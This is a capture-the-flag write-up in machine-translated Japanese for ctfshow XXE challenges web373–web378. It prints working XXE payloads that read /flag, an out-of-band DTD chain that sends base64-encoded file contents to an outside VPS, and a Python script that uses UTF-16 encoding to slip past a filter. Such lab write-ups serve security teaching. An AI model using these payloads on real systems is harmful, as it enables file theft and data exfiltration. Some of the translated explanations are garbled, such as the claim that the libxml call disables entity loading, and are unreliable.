ctfshow XXE web373-web378 wp

記事ディレクトリ

web373

XXE(XML外部エンティティインジェクション)は、XML外部エンティティインジェクションの略です。挿入されたXML外部エンティティ

ここに画像の説明を挿入

参考記事:この記事では、脆弱性のXXE脆弱性について深く理解しています。

libxml_disable_entity_loader(false);:外部エンティティの読み込みを無効にします。エンティティは、アンパサンド(&)、エンティティ名、およびセミコロン(;)の3つの部分で構成されます。

旗は旗にあります

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<mumuzi>
<ctfshow>&cmd;</ctfshow>
</mumuzi>

ここに画像の説明を挿入

web374-376

373との違いは、echo $ ctfshowがないことです。つまり、echoがありません。

エコーがないので、VPSにそれを持ってくる方法を見つけることしかできません。

次の質問は、xmlヘッダーを除外します。ここでは、シェルをバウンスするためにdtdファイルがvpsに作成されます。

#test.dtd
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://xxx:10086/%file;'> ">
%dtd;
%xxe;

ポート10086でリッスン

次に、POSTパケットをvpsで受信できます

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>1</root>

ここに画像の説明を挿入

実際、ここでは長い間スタックしていました.4つのvpsのうち、1つはセキュリティグループを常に閉じていて(2つの共通ポートのみが開いていました)、1つはPHP環境がなく、もう1つはStreamlitによって占有されていました。インストールされたばかりのPHP環境。しびれる

web377

方法は上記と同じですが、httpをフィルタリングするにはエンコーディングバイパスが必要です。

import requests
url = 'http://b70f356b-ab20-4df6-b661-d7827322fc80.challenge.ctf.show/'
data = '''<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://101.35.244.30/test.dtd">
%aaa;
]>
<root>1</root>'''
r = requests.post(url=url,data=data.encode('utf-16'))

web378

Intuit標準XXE

<!DOCTYPE XXE [
<!ENTITY cmd SYSTEM "file:///flag">
]>
<user><username>&cmd;</username>
</user>

おすすめ

転載: blog.csdn.net/qq_42880719/article/details/122777442